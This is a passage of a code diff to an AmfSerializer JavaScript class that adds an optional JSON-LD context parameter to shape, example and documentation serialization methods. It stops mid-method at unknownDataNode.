-      linkLabel = /** @type string */ (this._getValue(target, this.ns.aml.vocabularies.document.linkLabel));
-      const id = this._getLinkValue(target, this.ns.aml.vocabularies.document.linkTarget);
-      const value = /** @type Shape */ (this[findAmfType](id));
+      linkLabel = /** @type string */ (this._getValue(target, this.ns.aml.vocabularies.document.linkLabel, objectContext));
+      const id = this._getLinkValue(target, this.ns.aml.vocabularies.document.linkTarget, objectContext);
+      const value = /** @type Shape */ (this[findAmfType](id, objectContext));
       if (value) {
         target = value;
       }
     }
     const result = /** @type ApiShape */ ({
       id: target['@id'],
-      types: this.readTypes(object['@type']),
+      types: this.readTypes(object['@type'], objectContext),
       values: [],
       inherits: [],
       or: [],
       and: [],
       xone: [],
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     if (linkLabel) {
       result.linkLabel = linkLabel;
     }
     const { ns } = this;
-    const name = this._getValue(target, ns.w3.shacl.name);
+    const name = this._getValue(target, ns.w3.shacl.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const displayName = this._getValue(target, ns.aml.vocabularies.core.displayName);
+    const displayName = this._getValue(target, ns.aml.vocabularies.core.displayName, objectContext);
     if (displayName && typeof displayName === 'string') {
       result.displayName = displayName;
     } else {
-      const coreName = this._getValue(target, ns.aml.vocabularies.core.name);
+      const coreName = this._getValue(target, ns.aml.vocabularies.core.name, objectContext);
       if (coreName && typeof coreName === 'string') {
         result.displayName = coreName;
       }
     }
-    const description = this._getValue(target, ns.aml.vocabularies.core.description);
+    const description = this._getValue(target, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const defaultValueStr = this._getValue(target, ns.w3.shacl.defaultValueStr);
+    const defaultValueStr = this._getValue(target, ns.w3.shacl.defaultValueStr, objectContext);
     if (defaultValueStr && typeof defaultValueStr === 'string') {
       result.defaultValueStr = defaultValueStr;
     }
-    const deprecated = this._getValue(target, ns.aml.vocabularies.shapes.deprecated);
+    const deprecated = this._getValue(target, ns.aml.vocabularies.shapes.deprecated, objectContext);
     if (typeof deprecated === 'boolean') {
       result.deprecated = deprecated;
     }
-    const readOnly = this._getValue(target, ns.aml.vocabularies.shapes.readOnly);
+    const readOnly = this._getValue(target, ns.aml.vocabularies.shapes.readOnly, objectContext);
     if (typeof readOnly === 'boolean') {
       result.readOnly = readOnly;
     }
-    const writeOnly = this._getValue(target, ns.aml.vocabularies.shapes.writeOnly);
+    const writeOnly = this._getValue(target, ns.aml.vocabularies.shapes.writeOnly, objectContext);
     if (typeof writeOnly === 'boolean') {
       result.writeOnly = writeOnly;
     }
-    const defValue = target[this._getAmfKey(ns.w3.shacl.defaultValue)];
+    const defValue = target[this._getAmfKey(ns.w3.shacl.defaultValue, objectContext)];
     if (Array.isArray(defValue) && defValue.length) {
-      result.defaultValue = this.unknownDataNode(defValue[0]);
+      result.defaultValue = this.unknownDataNode(defValue[0], objectContext);
     }
     // @TODO:
     // if (Array.isArray(inherits) && inherits.length) {
     //   result.inherits = inherits.map((item) => this.unknownShape(item));
     // }
-    const orKey = this._getAmfKey(ns.w3.shacl.or);
+    const orKey = this._getAmfKey(ns.w3.shacl.or, objectContext);
     const orGroup = /** @type Shape[] */ (target[orKey]);
     if (Array.isArray(orGroup) && orGroup.length) {
-      result.or = orGroup.map((item) => this.unknownShape(item));
+      result.or = orGroup.map((item) => this.unknownShape(item, undefined, objectContext));
     }
-    const andKey = this._getAmfKey(ns.w3.shacl.and);
+    const andKey = this._getAmfKey(ns.w3.shacl.and, objectContext);
     const andGroup = /** @type Shape[] */ (target[andKey]);
     if (Array.isArray(andGroup) && andGroup.length) {
-      result.and = andGroup.map((item) => this.unknownShape(item));
+      result.and = andGroup.map((item) => this.unknownShape(item, undefined, objectContext));
     }
-    const xoneKey = this._getAmfKey(ns.w3.shacl.xone);
+    const xoneKey = this._getAmfKey(ns.w3.shacl.xone, objectContext);
     const xone = /** @type Shape[] */ (target[xoneKey]);
     if (Array.isArray(xone) && xone.length) {
-      result.xone = xone.map((item) => this.unknownShape(item));
+      result.xone = xone.map((item) => this.unknownShape(item, undefined, objectContext));
     }
-    const valuesList = target[this._getAmfKey(ns.w3.shacl.in)];
+    const valuesList = target[this._getAmfKey(ns.w3.shacl.in, objectContext)];
     if (Array.isArray(valuesList) && valuesList.length) {
       const [values] = valuesList;
       const prefix = this.ns.w3.rdfSchema.toString();
-      const prefixCompact = this._getAmfKey(prefix);
+      const prefixCompact = this._getAmfKey(prefix, objectContext);
       Object.keys(values).forEach((key) => {
         if (key.startsWith(prefix) || key.startsWith(prefixCompact)) {
           let value = values[key];
           if (Array.isArray(value)) {
             [value] = value;
           }
-          const processed = this.unknownDataNode(value);
+          const processed = this.unknownDataNode(value, objectContext);
           result.values.push(processed);
         }
       });
     }
-    const notKey = this._getAmfKey(ns.w3.shacl.not);
+    const notKey = this._getAmfKey(ns.w3.shacl.not, objectContext);
     let not = /** @type Shape */ (target[notKey]);
     if (not) {
       if (Array.isArray(not)) {
         [not] = not;
       }
-      result.not = this.unknownShape(not);
+      result.not = this.unknownShape(not, undefined, objectContext);
     }
     return result;
   }
@@ -590,13 +612,15 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {AnyShape} object
    * @param {ShapeProcessingOptions=} options 
+   * @param {Record<string, string>=} context
    * @returns {ApiAnyShape}
    */
-  anyShape(object, options={}) {
+  anyShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiAnyShape */ (this.shape(target));
+    const result = /** @type ApiAnyShape */ (this.shape(target, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type Shape */ (this.getLinkTarget(target));
+      const value = /** @type Shape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
@@ -604,24 +628,24 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
     result.examples = [];
 
     const { ns } = this;
-    const examples = target[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    const examples = target[this._getAmfKey(ns.aml.vocabularies.apiContract.examples, objectContext)];
     if (Array.isArray(examples) && examples.length) {
       if (options.trackedId) {
-        const filtered = this.filterTrackedExamples(examples, options.trackedId);
-        result.examples = filtered.map((item) => this.example(item));
+        const filtered = this.filterTrackedExamples(examples, options.trackedId, objectContext);
+        result.examples = filtered.map((item) => this.example(item, objectContext));
       } else {
-        const filtered = this.filterNonTrackedExamples(examples);
-        result.examples = filtered.map((item) => this.example(item));
+        const filtered = this.filterNonTrackedExamples(examples, objectContext);
+        result.examples = filtered.map((item) => this.example(item, objectContext));
       }
     }
-    const docs = target[this._getAmfKey(ns.aml.vocabularies.core.documentation)];
+    const docs = target[this._getAmfKey(ns.aml.vocabularies.core.documentation, objectContext)];
     if (Array.isArray(docs) && docs.length) {
       const [documentation] = docs;
-      result.documentation = this.documentation(documentation);
+      result.documentation = this.documentation(documentation, objectContext);
     }
-    const xml = target[this._getAmfKey(ns.aml.vocabularies.shapes.xmlSerialization)];
+    const xml = target[this._getAmfKey(ns.aml.vocabularies.shapes.xmlSerialization, objectContext)];
     if (Array.isArray(xml) && xml.length) {
-      result.xmlSerialization = this.xmlSerializer(xml[0]);
+      result.xmlSerialization = this.xmlSerializer(xml[0], objectContext);
     }
     return result;
   }
@@ -633,12 +657,13 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
    * 
    * @param {Example[]} examples 
    * @param {string} trackedId 
+   * @param {Record<string, string>=} context
    * @returns {Example[]}
    */
-  filterTrackedExamples(examples, trackedId) {
+  filterTrackedExamples(examples, trackedId, context) {
     const { docSourceMaps } = this.ns.raml.vocabularies;
-    const sourceKey = this._getAmfKey(docSourceMaps.sources);
-    const trackedKey = this._getAmfKey(docSourceMaps.trackedElement);
+    const sourceKey = this._getAmfKey(docSourceMaps.sources, context);
+    const trackedKey = this._getAmfKey(docSourceMaps.trackedElement, context);
     const longId = trackedId.indexOf('amf') === -1 ? `amf://id${trackedId}` : trackedId;
     return examples.filter((item) => {
       let example = item;
@@ -659,7 +684,7 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       if (Array.isArray(tracked)) {
         [tracked] = tracked;
       }
-      const { value } = this.synthesizedField(tracked);
+      const { value } = this.synthesizedField(tracked, context);
       if (!value) {
         return true;
       }
@@ -677,12 +702,13 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
    * defined in a payload.
    * 
    * @param {Example[]} examples 
+   * @param {Record<string, string>=} context
    * @returns {Example[]}
    */
-  filterNonTrackedExamples(examples) {
+  filterNonTrackedExamples(examples, context) {
     const { docSourceMaps } = this.ns.raml.vocabularies;
-    const sourceKey = this._getAmfKey(docSourceMaps.sources);
-    const trackedKey = this._getAmfKey(docSourceMaps.trackedElement);
+    const sourceKey = this._getAmfKey(docSourceMaps.sources, context);
+    const trackedKey = this._getAmfKey(docSourceMaps.trackedElement, context);
     return examples.filter((item) => {
       let example = item;
       if (Array.isArray(example)) {
@@ -702,7 +728,7 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       if (Array.isArray(tracked)) {
         [tracked] = tracked;
       }
-      const { value } = this.synthesizedField(tracked);
+      const { value } = this.synthesizedField(tracked, context);
       if (!value) {
         return true;
       }
@@ -713,49 +739,51 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {ScalarShape} object
    * @param {ShapeProcessingOptions=} options 
+   * @param {Record<string, string>=} context
    * @returns {ApiScalarShape}
    */
-  scalarShape(object, options={}) {
+  scalarShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiScalarShape */ (this.anyShape(target, options));
+    const result = /** @type ApiScalarShape */ (this.anyShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type ScalarShape */ (this.getLinkTarget(target));
+      const value = /** @type ScalarShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
     const { ns } = this;
-    const pattern = this._getValue(target, ns.w3.shacl.pattern);
+    const pattern = this._getValue(target, ns.w3.shacl.pattern, objectContext);
     if (pattern && typeof pattern === 'string') {
       result.pattern = pattern;
     }
-    const dataType = this._getLinkValue(target, ns.w3.shacl.datatype);
+    const dataType = this._getLinkValue(target, ns.w3.shacl.datatype, objectContext);
     if (dataType && typeof dataType === 'string') {
       result.dataType = dataType;
     }
-    const format = this._getValue(target, ns.aml.vocabularies.shapes.format);
+    const format = this._getValue(target, ns.aml.vocabularies.shapes.format, objectContext);
     if (format && typeof format === 'string') {
       result.format = format;
     }
-    const multipleOf = this._getValue(target, ns.aml.vocabularies.shapes.multipleOf);
+    const multipleOf = this._getValue(target, ns.aml.vocabularies.shapes.multipleOf, objectContext);
     if (typeof multipleOf === 'number') {
       result.multipleOf = multipleOf;
     }
-    const minInclusive = this._getValue(target, ns.w3.shacl.minInclusive);
+    const minInclusive = this._getValue(target, ns.w3.shacl.minInclusive, objectContext);
     if (typeof minInclusive === 'number') {
       result.minimum = minInclusive;
       result.exclusiveMinimum = false;
     }
-    const maxInclusive = this._getValue(target, ns.w3.shacl.maxInclusive);
+    const maxInclusive = this._getValue(target, ns.w3.shacl.maxInclusive, objectContext);
     if (typeof maxInclusive === 'number') {
       result.maximum = maxInclusive;
       result.exclusiveMaximum = false;
     }
-    const minLength = this._getValue(target, ns.w3.shacl.minLength);
+    const minLength = this._getValue(target, ns.w3.shacl.minLength, objectContext);
     if (typeof minLength === 'number') {
       result.minLength = minLength;
     }
-    const maxLength = this._getValue(target, ns.w3.shacl.maxLength);
+    const maxLength = this._getValue(target, ns.w3.shacl.maxLength, objectContext);
     if (typeof maxLength === 'number') {
       result.maxLength = maxLength;
     }
@@ -765,27 +793,29 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {NodeShape} object The NodeShape to serialize
    * @param {ShapeProcessingOptions=} options 
+   * @param {Record<string, string>=} context
    * @returns {ApiNodeShape}
    */
-  nodeShape(object, options={}) {
+  nodeShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiNodeShape */ (this.anyShape(target, options));
+    const result = /** @type ApiNodeShape */ (this.anyShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type NodeShape */ (this.getLinkTarget(target));
+      const value = /** @type NodeShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
     const { ns } = this;
-    const discriminator = this._getValue(target, ns.aml.vocabularies.shapes.discriminator);
+    const discriminator = this._getValue(target, ns.aml.vocabularies.shapes.discriminator, objectContext);
     if (discriminator && typeof discriminator === 'string') {
       result.discriminator = discriminator;
     }
-    const discriminatorValue = this._getValue(target, ns.aml.vocabularies.shapes.discriminatorValue);
+    const discriminatorValue = this._getValue(target, ns.aml.vocabularies.shapes.discriminatorValue, objectContext);
     if (discriminatorValue && typeof discriminatorValue === 'string') {
       result.discriminatorValue = discriminatorValue;
     }
-    const closed = this._getValue(target, ns.w3.shacl.closed);
+    const closed = this._getValue(target, ns.w3.shacl.closed, objectContext);
     if (typeof closed === 'boolean') {
       result.closed = closed;
     }
@@ -810,9 +840,9 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
     // } else {
     //   result.customShapePropertyDefinitions = [];
     // }
-    const properties = /** @type PropertyShape[] */ (target[this._getAmfKey(ns.w3.shacl.property)]);
+    const properties = /** @type PropertyShape[] */ (target[this._getAmfKey(ns.w3.shacl.property, objectContext)]);
     if (Array.isArray(properties) && properties.length) {
-      result.properties = properties.map((item) => this.propertyShape(item));
+      result.properties = properties.map((item) => this.propertyShape(item, objectContext));
     } else {
       result.properties = [];
     }
@@ -826,27 +856,29 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {PropertyShape} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiPropertyShape}
    */
-  propertyShape(object) {
+  propertyShape(object, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiPropertyShape */ (this.shape(target));
+    const result = /** @type ApiPropertyShape */ (this.shape(target, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type PropertyShape */ (this.getLinkTarget(target));
+      const value = /** @type PropertyShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
     const { ns } = this;
-    const path = this._getLinkValue(target, ns.w3.shacl.path);
+    const path = this._getLinkValue(target, ns.w3.shacl.path, objectContext);
     if (path && typeof path === 'string') {
       result.path = path;
     }
-    const minCount = this._getValue(target, ns.w3.shacl.minCount);
+    const minCount = this._getValue(target, ns.w3.shacl.minCount, objectContext);
     if (typeof minCount === 'number') {
       result.minCount = minCount;
     }
-    const maxCount = this._getValue(target, ns.w3.shacl.maxCount);
+    const maxCount = this._getValue(target, ns.w3.shacl.maxCount, objectContext);
     if (typeof maxCount === 'number') {
       result.maxCount = maxCount;
     }
@@ -854,10 +886,10 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
     //   result.patternName = patternName.value();
     // }
     
-    const ranges = /** @type Shape[] */ (target[this._getAmfKey(ns.aml.vocabularies.shapes.range)]);
+    const ranges = /** @type Shape[] */ (target[this._getAmfKey(ns.aml.vocabularies.shapes.range, objectContext)]);
     if (Array.isArray(ranges) && ranges.length) {
       const [range] = ranges;
-      result.range = this.unknownShape(range);
+      result.range = this.unknownShape(range, undefined, objectContext);
     }
     return result;
   }
@@ -865,14 +897,16 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {UnionShape} object
    * @param {ShapeProcessingOptions=} options 
+   * @param {Record<string, string>=} context
    * @returns {ApiUnionShape}
    */
-  unionShape(object, options={}) {
-    const anyOf = /** @type Shape[] */ (object[this._getAmfKey(this.ns.aml.vocabularies.shapes.anyOf)]);
-    const result = /** @type ApiUnionShape */ (this.anyShape(object, options));
+  unionShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
+    const anyOf = /** @type Shape[] */ (object[this._getAmfKey(this.ns.aml.vocabularies.shapes.anyOf, objectContext)]);
+    const result = /** @type ApiUnionShape */ (this.anyShape(object, options, objectContext));
     if (Array.isArray(anyOf) && anyOf.length) {
       const opt = { ...options, trackedId: undefined };
-      result.anyOf = anyOf.map((shape) => this.unknownShape(shape, opt));
+      result.anyOf = anyOf.map((shape) => this.unknownShape(shape, opt, objectContext));
     } else {
       result.anyOf = [];
     }
@@ -882,49 +916,51 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {FileShape} object
    * @param {ShapeProcessingOptions=} options 
+   * @param {Record<string, string>=} context
    * @returns {ApiFileShape}
    */
-  fileShape(object, options={}) {
+  fileShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiFileShape */ (this.anyShape(target, options));
+    const result = /** @type ApiFileShape */ (this.anyShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type FileShape */ (this.getLinkTarget(target));
+      const value = /** @type FileShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
     const { ns } = this;
-    const pattern = this._getValue(target, ns.w3.shacl.pattern);
+    const pattern = this._getValue(target, ns.w3.shacl.pattern, objectContext);
     if (pattern && typeof pattern === 'string') {
       result.pattern = pattern;
     }
-    const fileTypes = /** @type string[] */ (this._getValueArray(target, ns.aml.vocabularies.shapes.fileType));
+    const fileTypes = /** @type string[] */ (this._getValueArray(target, ns.aml.vocabularies.shapes.fileType, objectContext));
     if (Array.isArray(fileTypes) && fileTypes.length) {
       result.fileTypes = fileTypes;
     }
-    const minLength = this._getValue(target, ns.w3.shacl.minLength);
+    const minLength = this._getValue(target, ns.w3.shacl.minLength, objectContext);
     if (typeof minLength === 'number') {
       result.minLength = minLength;
     }
-    const maxLength = this._getValue(target, ns.w3.shacl.maxLength);
+    const maxLength = this._getValue(target, ns.w3.shacl.maxLength, objectContext);
     if (typeof maxLength === 'number') {
       result.maxLength = maxLength;
     }
-    const minInclusive = this._getValue(target, ns.w3.shacl.minInclusive);
+    const minInclusive = this._getValue(target, ns.w3.shacl.minInclusive, objectContext);
     if (typeof minInclusive === 'number') {
       result.minimum = minInclusive;
       result.exclusiveMinimum = false;
     }
-    const maxInclusive = this._getValue(target, ns.w3.shacl.maxInclusive);
+    const maxInclusive = this._getValue(target, ns.w3.shacl.maxInclusive, objectContext);
     if (typeof maxInclusive === 'number') {
       result.maximum = maxInclusive;
       result.exclusiveMaximum = false;
     }
-    const format = this._getValue(target, ns.aml.vocabularies.shapes.format);
+    const format = this._getValue(target, ns.aml.vocabularies.shapes.format, objectContext);
     if (format && typeof format === 'string') {
       result.format = format;
     }
-    const multipleOf = this._getValue(target, ns.aml.vocabularies.shapes.multipleOf);
+    const multipleOf = this._getValue(target, ns.aml.vocabularies.shapes.multipleOf, objectContext);
     if (typeof multipleOf === 'number') {
       result.multipleOf = multipleOf;
     }
@@ -934,23 +970,25 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {SchemaShape} object
    * @param {ShapeProcessingOptions=} options
+   * @param {Record<string, string>=} context
    * @returns {ApiSchemaShape}
    */
-  schemaShape(object, options={}) {
+  schemaShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiSchemaShape */ (this.anyShape(target, options));
+    const result = /** @type ApiSchemaShape */ (this.anyShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type SchemaShape */ (this.getLinkTarget(target));
+      const value = /** @type SchemaShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
     const { ns } = this;
-    const mediaType = this._getValue(target, ns.aml.vocabularies.core.mediaType);
+    const mediaType = this._getValue(target, ns.aml.vocabularies.core.mediaType, objectContext);
     if (mediaType && typeof mediaType === 'string') {
       result.mediaType = mediaType;
     }
-    const raw = this._getValue(target, ns.aml.vocabularies.document.raw);
+    const raw = this._getValue(target, ns.aml.vocabularies.document.raw, objectContext);
     if (raw && typeof raw === 'string') {
       result.raw = raw;
     }
@@ -959,19 +997,21 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {RecursiveShape} object
+   * @param {Record<string, string>=} context
    * @returns {ApiRecursiveShape}
    */
-  recursiveShape(object) {
+  recursiveShape(object, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiRecursiveShape */ (this.shape(target));
+    const result = /** @type ApiRecursiveShape */ (this.shape(target, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type RecursiveShape */ (this.getLinkTarget(target));
+      const value = /** @type RecursiveShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
     const { ns } = this;
-    const fp = this._getLinkValue(object, ns.aml.vocabularies.shapes.fixPoint);
+    const fp = this._getLinkValue(object, ns.aml.vocabularies.shapes.fixPoint, objectContext);
     if (fp && typeof fp === 'string') {
       result.fixPoint = fp;
     }
@@ -981,13 +1021,15 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {DataArrangeShape} object
    * @param {ShapeProcessingOptions=} options
+   * @param {Record<string, string>=} context
    * @returns {ApiDataArrangeShape}
    */
-  dataArrangeShape(object, options={}) {
+  dataArrangeShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiDataArrangeShape */ (this.anyShape(target, options));
+    const result = /** @type ApiDataArrangeShape */ (this.anyShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type DataArrangeShape */ (this.getLinkTarget(target));
+      const value = /** @type DataArrangeShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
@@ -1009,22 +1051,24 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {ArrayShape} object
    * @param {ShapeProcessingOptions=} options
+   * @param {Record<string, string>=} context
    * @returns {ApiArrayShape}
    */
-  arrayShape(object, options={}) {
+  arrayShape(object, options={}, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiArrayShape */ (this.dataArrangeShape(target, options));
+    const result = /** @type ApiArrayShape */ (this.dataArrangeShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type ArrayShape */ (this.getLinkTarget(target));
+      const value = /** @type ArrayShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
 
-    const items = target[this._getAmfKey(this.ns.aml.vocabularies.shapes.items)];
+    const items = target[this._getAmfKey(this.ns.aml.vocabularies.shapes.items, objectContext)];
     if (Array.isArray(items) && items.length) {
       const [item] = items;
-      result.items = this.unknownShape(item);
+      result.items = this.unknownShape(item, undefined, objectContext);
     }
     return result;
   }
@@ -1032,19 +1076,21 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {TupleShape} object
    * @param {ShapeProcessingOptions=} options
+   * @param {Record<string, string>=} context
    * @returns {ApiTupleShape}
    */
-  tupleShape(object, options) {
+  tupleShape(object, options, context) {
+    const objectContext = context || object['@context'];
     let target = object;
-    const result = /** @type ApiTupleShape */ (this.dataArrangeShape(target, options));
+    const result = /** @type ApiTupleShape */ (this.dataArrangeShape(target, options, objectContext));
     if (this.isLink(target)) {
-      const value = /** @type TupleShape */ (this.getLinkTarget(target));
+      const value = /** @type TupleShape */ (this.getLinkTarget(target, objectContext));
       if (value) {
         target = value;
       }
     }
-    const items = target[this._getAmfKey(this.ns.aml.vocabularies.shapes.items)];
-    const prefix = this._getAmfKey(this.ns.w3.rdfSchema.key);
+    const items = target[this._getAmfKey(this.ns.aml.vocabularies.shapes.items, objectContext)];
+    const prefix = this._getAmfKey(this.ns.w3.rdfSchema.key, objectContext);
     if (Array.isArray(items) && items.length) {
       result.items = [];
       items.forEach((item) => {
@@ -1057,7 +1103,7 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
           if (Array.isArray(shape)) {
             [shape] = shape;
           }
-          const value = this.unknownShape(shape);
+          const value = this.unknownShape(shape, undefined, objectContext);
           result.items.push(value);
         });
       });
@@ -1069,24 +1115,26 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {CreativeWork} object The CreativeWork to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiDocumentation} Serialized CreativeWork
    */
-  documentation(object) {
+  documentation(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiDocumentation */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
-    const url = this._getLinkValue(object, this.ns.aml.vocabularies.core.url);
+    const url = this._getLinkValue(object, this.ns.aml.vocabularies.core.url, objectContext);
     if (url && typeof url === 'string') {
       result.url = url;
     }
-    const description = this._getValue(object, this.ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, this.ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const title = this._getValue(object, this.ns.aml.vocabularies.core.title);
+    const title = this._getValue(object, this.ns.aml.vocabularies.core.title, objectContext);
     if (title && typeof title === 'string') {
       result.title = title;
     }
@@ -1095,82 +1143,86 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {Example} object The Example to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiExample} Serialized Example
    */
-  example(object) {
+  example(object, context) {
+    const objectContext = context || object['@context'];
     this._resolve(object);
     const result = /** @type ApiExample */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       strict: false,
     });
     const { ns } = this;
-    const strict = this._getValue(object, ns.aml.vocabularies.document.strict);
+    const strict = this._getValue(object, ns.aml.vocabularies.document.strict, objectContext);
     if (typeof strict === 'boolean') {
       result.strict = strict;
     }
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName);
+    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName, objectContext);
     if (displayName && typeof displayName === 'string') {
       result.displayName = displayName;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const raw = this._getValue(object, ns.aml.vocabularies.document.raw);
+    const raw = this._getValue(object, ns.aml.vocabularies.document.raw, objectContext);
     if (raw && typeof raw === 'string') {
       result.value = raw;
     }
-    const location = this._getValue(object, ns.aml.vocabularies.document.location);
+    const location = this._getValue(object, ns.aml.vocabularies.document.location, objectContext);
     if (location && typeof location === 'string') {
       result.location = location;
     }
     // if (!mediaType.isNullOrEmpty) {
     //   result.mediaType = mediaType.value();
     // }
-    const structuredValue = object[this._getAmfKey(ns.aml.vocabularies.document.structuredValue)];
+    const structuredValue = object[this._getAmfKey(ns.aml.vocabularies.document.structuredValue, objectContext)];
     if (Array.isArray(structuredValue) && structuredValue.length) {
       const [value] = structuredValue;
-      result.structuredValue = this.unknownDataNode(value);
+      result.structuredValue = this.unknownDataNode(value, objectContext);
     }
     return result;
   }
 
   /**
    * @param {XMLSerializer} object
+   * @param {Record<string, string>=} context
    * @returns {ApiXMLSerializer}
    */
-  xmlSerializer(object) {
+  xmlSerializer(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiXMLSerializer */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const xmlAttribute = this._getValue(object, ns.aml.vocabularies.shapes.xmlAttribute);
+    const xmlAttribute = this._getValue(object, ns.aml.vocabularies.shapes.xmlAttribute, objectContext);
     if (typeof xmlAttribute === 'boolean') {
       result.attribute = xmlAttribute;
     }
-    const wrapped = this._getValue(object, ns.aml.vocabularies.shapes.xmlWrapped);
+    const wrapped = this._getValue(object, ns.aml.vocabularies.shapes.xmlWrapped, objectContext);
     if (typeof wrapped === 'boolean') {
       result.wrapped = wrapped;
     }
-    const name = this._getValue(object, ns.aml.vocabularies.shapes.xmlName);
+    const name = this._getValue(object, ns.aml.vocabularies.shapes.xmlName, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const xmlNs = this._getValue(object, ns.aml.vocabularies.shapes.xmlNamespace);
+    const xmlNs = this._getValue(object, ns.aml.vocabularies.shapes.xmlNamespace, objectContext);
     if (xmlNs && typeof xmlNs === 'string') {
       result.namespace = xmlNs;
     }
-    const xmlPrefix = this._getValue(object, ns.aml.vocabularies.shapes.xmlPrefix);
+    const xmlPrefix = this._getValue(object, ns.aml.vocabularies.shapes.xmlPrefix, objectContext);
     if (xmlPrefix && typeof xmlPrefix === 'string') {
       result.prefix = xmlPrefix;
     }
@@ -1179,35 +1231,37 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {DataNode} object
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiDataNodeUnion}
    */
-  unknownDataNode(object) {
-    const types = this.readTypes(object['@type']);
+  unknownDataNode(object, context) {
